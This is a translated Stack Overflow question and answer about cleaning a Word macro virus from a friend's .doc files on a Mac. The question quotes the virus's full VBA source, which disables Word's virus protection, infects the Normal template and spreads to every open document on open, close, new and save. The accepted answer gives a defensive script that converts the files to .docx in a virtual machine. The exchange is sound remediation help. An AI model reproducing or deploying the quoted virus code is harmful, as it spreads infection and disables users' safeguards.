首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Word宏病毒

Word宏病毒
EN

Stack Overflow用户
提问于 2017-02-23 17:04:55
回答 1查看 629关注 0票数 1

我想帮助一个有一个单词宏病毒的朋友。

几乎每个his.doc文件都被感染,我想删除恶意宏而不删除word文件。

由于我的朋友从不使用宏,我实际上可以删除他系统上的所有宏。

我将如何去自动化这个任务呢?

我面临的一个问题是,在打开受感染的文档文件时,我没有权限删除恶意宏--这里是Macro病毒的代码:

代码语言:javascript
复制
Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
      .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  End If
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
      .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
      .VBComponents.Item(1).CodeModule.CountOfLines)
  End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
   Document_Open
End Sub
Private Sub Document_New()
   Document_Open
End Sub
Private Sub Document_Save()
    Document_Open
End Sub

这是在mac上运行10.6.8和word 2004

谢谢

亚历克斯

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2017-02-23 17:37:01

要做到这一点,最快的方法是使用更现代的Word版本。我会做下面的事。要么创建一个VM,要么拍摄一个您可以回滚到的现有VM的快照。将所有受感染的Word文件放入目录,然后从Word文档运行此宏:

代码语言:javascript
复制
'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
    Application.DisplayAlerts = wdAlertsNone
    With New Scripting.FileSystemObject
        Dim targets As New Collection
        Dim current As File
        For Each current In .GetFolder("C:\Test").Files
            If .GetExtensionName(current.Path) = "doc" Then
                targets.Add current
            End If
        Next
        Dim infected As Variant
        For Each infected In targets
            Dim doc As Document
            Set doc = Documents.Open(infected.Path)
            doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
            doc.Close wdDoNotSaveChanges
        Next
    End With
    Application.DisplayAlerts = wdAlertsAll
End Sub

收集所有生成的.docx文件并将它们移出VM,然后将其回滚到快照中或删除它。如果您需要保持与Word 2004的兼容性,您可以做同样的事情来将它们转换回该文件格式--只需调整文件扩展名并将其保存为格式即可。

票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/42422010

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档